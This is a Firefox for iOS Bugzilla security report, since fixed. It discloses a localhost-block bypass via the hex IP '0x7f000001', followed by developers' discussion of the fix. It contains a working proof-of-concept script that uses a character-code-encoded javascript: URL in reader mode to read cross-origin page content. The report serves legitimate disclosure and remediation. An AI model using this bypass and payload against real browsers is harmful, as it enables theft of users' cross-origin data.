Closed Bug 1279787 Opened 4 years ago Closed 4 years ago

Stealing cross origin DOM data with bypassing localhost navigation restriction

Categories

(Firefox for iOS :: General, defect)

Other
iOS
defect
Not set
normal

Tracking

()

RESOLVED FIXED
Tracking Status
fxios-v5.0 --- fixed
fxios-v6.0 --- fixed
fxios 5.0+ ---

People

(Reporter: sdna.muneaki.nishimura, Assigned: bnicholson)

References

Details

(Keywords: csectype-sop, sec-high)

Attachments

(2 files)

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.33 Safari/537.36

Steps to reproduce:

In order to prevent Bug 1258188 Firefox for iOS determined to block access to http://localhost in Bug 1263627 but it was insufficient.

It expectedly rejects navigation to privileged pages hosted on "localhost" and "127.0.0.1" but it doesn't reject "0x7f000001".
It allows to load browser internal pages like that:

Prevented (safe):
http://localhost:6571/about/license

Bypassed (unsafe):
http://0x7f000001:6571/about/license

It can be used for stealing cross origin DOM data by using a remaining XSS in reader-mode like this:

<script>
var reader = 'http://0x7f000001:6571/reader-mode/page?url=';
var victim = 'https://hacks.mozilla.org/2016/06/helping-web-developers-with-javascript-errors/';
var url = reader + victim;
var w = window.open(url);

// Open victim URL (hacks.mozilla.org) through reader-mode.
setTimeout(function(){ w.location = url; },5000);

// 10 seconds later injects <iframe src='http://0x7f000001:6571/reader-mode/page?url=https://hacks.mozilla.org/2016/06/helping-web-developers-with-javascript-errors/' onload='alert(this.contentDocument.body.innerHTML)'></iframe>
setTimeout(function(){ w.location = reader + 'javascript:document.body.innerHTML=String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,61,39,104,116,116,112,58,47,47,48,120,55,102,48,48,48,48,48,49,58,54,53,55,49,47,114,101,97,100,101,114,45,109,111,100,101,47,112,97,103,101,63,117,114,108,61,104,116,116,112,115,58,47,47,104,97,99,107,115,46,109,111,122,105,108,108,97,46,111,114,103,47,50,48,49,54,47,48,54,47,104,101,108,112,105,110,103,45,119,101,98,45,100,101,118,101,108,111,112,101,114,115,45,119,105,116,104,45,106,97,118,97,115,99,114,105,112,116,45,101,114,114,111,114,115,47,39,32,111,110,108,111,97,100,61,39,97,108,101,114,116,40,116,104,105,115,46,99,111,110,116,101,110,116,68,111,99,117,109,101,110,116,46,98,111,100,121,46,105,110,110,101,114,72,84,77,76,41,39,62,60,47,105,102,114,97,109,101,62)'; },10000);
</script>

You can try from this URL.
http://mallory.csrf.jp/ios/localhostbypass.html




Actual results:

DOM data of https://hacks.mozilla.org/2016/06/helping-web-developers-with-javascript-errors/ is shown on an alert window.
This means that cross origin data is stolen by mallory.csrf.jp


Expected results:

localhost should not be accessed even if that URL is 0x7f000001.
If my PoC hosted on https://mallory.csrf.jp/ios/localhostbypass.html correctly works you can see same alert window that shows the DOM contents of Mozilla Hacks.
Brian: please take a look. In addition to the numeric 127.0.0.1 address alias (of which there are several equivalents) reader mode itself is acting dangerously by processing a javascript: url!

Please go through any similar feature that takes parameters and make sure any URL parameters are restricted to http: and https: only. If they take any parameters that are echoed back in content at all the data must be sanitized. All non-static pages should have a <meta content-security-policy> in it (which should be supported on iOS 9.3)

nominating for fxios tracking: this needs to be fixed.
tracking-fxios: --- → ?
Flags: sec-bounty+
See Also: → 1263627
Definitely should make sure these are all covered.

https://www.psyon.org/tools/ip_address_converter.php?ip=127.0.0.1
Thanks, please consider IPv6 addresses as well.
Yikes, I wasn't aware that IP addresses could be expressed in so many different ways. With the list above, I see that it's also possible to create different combinations of the addresses listed there (e.g., "0x7f.1") or add zero padding to the different components (e.g., "127.0.0.0001"), so doing raw string comparisons is futile. That means the blacklist-based fix in bug 1263627 is useless unless we're able cover all possible combinations, which will require breaking the IP down into components and normalizing them. Still worth doing, I think, but probably not something we'll have for 5.0.

I'll focus on the critical issue of the reader mode interstitial loading arbitrary javascript: URLs in this bug, then file a separate follow-up to thoroughly blacklist all of the localhost equivalents.
Assignee: nobody → bnicholson
Status: NEW → ASSIGNED
Depends on: 1281204
Filed bug 1281204 to fix the local IP matching rules.
Attachment #8763978 - Flags: review?(sarentz)
Comment on attachment 8763978 [details] [review]
Link to Github pull-request: https://github.com/mozilla/firefox-ios/pull/1922

Looks good, but is that the full fix? or do we also need bug 1281204 to cover this?
Attachment #8763978 - Flags: review?(sarentz) → review+
This should fix this particular exploit. Bug 1281204 is useful for preventing similar bugs if we're doing unsafe things anywhere else.
master: https://github.com/mozilla/firefox-ios/commit/aca7219802d5cae539ac1b5ea5ce761965c3ad9e
v5.x: daf1152
Status: ASSIGNED → RESOLVED
Closed: 4 years ago
Resolution: --- → FIXED
Group: firefox-core-security → core-security-release
Flags: sec-bounty+ → sec-bounty?
Flags: sec-bounty? → sec-bounty+
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.